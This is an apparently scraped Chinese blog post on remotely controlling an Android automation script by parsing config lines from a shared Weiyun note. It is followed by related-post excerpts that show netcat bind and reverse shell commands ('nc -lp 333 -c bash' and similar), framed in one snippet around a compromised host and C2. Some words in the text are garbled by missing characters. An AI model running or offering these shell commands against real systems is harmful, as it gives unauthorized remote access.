微雲筆記遠端控制指令碼思路

2022-08-26 06:06:08 字數 1941 閱讀 5661

實現思路: 指令碼會讀取指定的url的源** 從中提取出指令碼需要的資訊 然後根據這些資訊來控制指令碼的行為 我們只是需要調整指定的url上面的網頁內容 就可以遠端的控制指令碼的運**況

常見的功能實現:

指令碼間隔一會檢測下網路位址上的資訊 然後根據剛才獲取的資訊來決定後面的指令碼操作遠端控制指令碼開關遠端控制指令碼的執行情況

指令碼會根據網路資訊來進行資訊驗證判斷是否允許登入 等等

微雲筆記端的配置

點選分享之後 記住那個分享的鏈結

如果要調整內容

注意 第一行 不要用分隔符   因為根據微雲筆記的網頁原始檔來看  從第二行開始寫網路配置資訊比較好 第一行寫的話 提取出的內容會有html**的干擾 **如下

注意:微雲筆記的源**  在瀏覽器裡面檢視源** 和從指令碼裡面獲取到的源**是不同的 應該是   一切以指令碼獲取到的源**為準

指令碼獲取的原始碼

瀏覽器檢視的源**

安卓按鍵端(指令碼端):

基本思路:從指定位址的源** 提取出需要的資訊  分隔符 我個人習慣用@====  用這個分隔符分割整個源** 然後得到內容陣列  裡面存在@==== 則提取裡面的內容到《的位置就可以

**函式

function 從微雲筆記獲取資訊操作()

dim 網頁源**=""

dim 微雲位址="

"dim 分組,全組,臨時位址,分隔符

分隔符 = "

@====

"

//一.獲取到源** 和粗劣的分析原始碼

網頁源** = url.get(微雲位址) //這裡的微雲位址是公共變數獲取到的

網頁源** = trim(取文字中間("

ql-editor ql-blank\

">", "

", 網頁源**))

//取出源**裡面的'

ql-editor-inner

'>

之間的內容 我們需要分析的內容都在這個區域

traceprint 網頁源**

//二.對這部分原始碼進行分析 得到每行的內容

分組=""

分組 =split(網頁源**, 分隔符)

for each vv in 分組

traceprint vv

next

//三.去掉一些沒必要的html原始碼 獲取到最後的結果

for i = 0

to ubound(分組)

分組(i) = trim(utf8.mid(分組(i), 1, utf8.instr(1, 分組(i), "

<

") - 1

)) traceprint 分組(i)

next

//四.把結果作為返回值返回

從微雲筆記獲取資訊操作=分組

end function

該函式訪問指定的微雲筆記位址 然後把分析出的結果寫到乙個陣列  該函式返回乙個陣列  可以遍歷這個陣列來提取出需要的資訊

NC 遠端控制(加部分思路)

正向 主機a nc lp 333 c bash 主機b nc nv 192.168.31.113 333 注釋 主機a偵聽333埠 並將自己的shell 交給通過該埠連線的主機 反向 主機a nc lp 333 主機b nc nv 192.168.31.113 333 c bash 注釋 主機a偵聽...

TeamViewer 遠端控制

因為公司的電腦有加密系統,因此不好傳檔案,而且傳檔案也是亂碼的,因此想要在家裡也能工作,只能遠端登入公司的電腦進行工作了!因此下了個teamviewer。teamviewer是乙個遠端控制軟體,它最大的優點就是不需要控制和接受控制的任何一方擁有外網ip。而且還能進行傳檔案,還有會議室等強大的功能!3...

nc 遠端控制

nc 做遠端控制 原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端 正向 偵聽方為肉雞,c2 訪問肉雞 server nc lp 333 c bash client nc nv 1.1.1.1 333 或者反向 偵聽方為c2,肉雞訪問...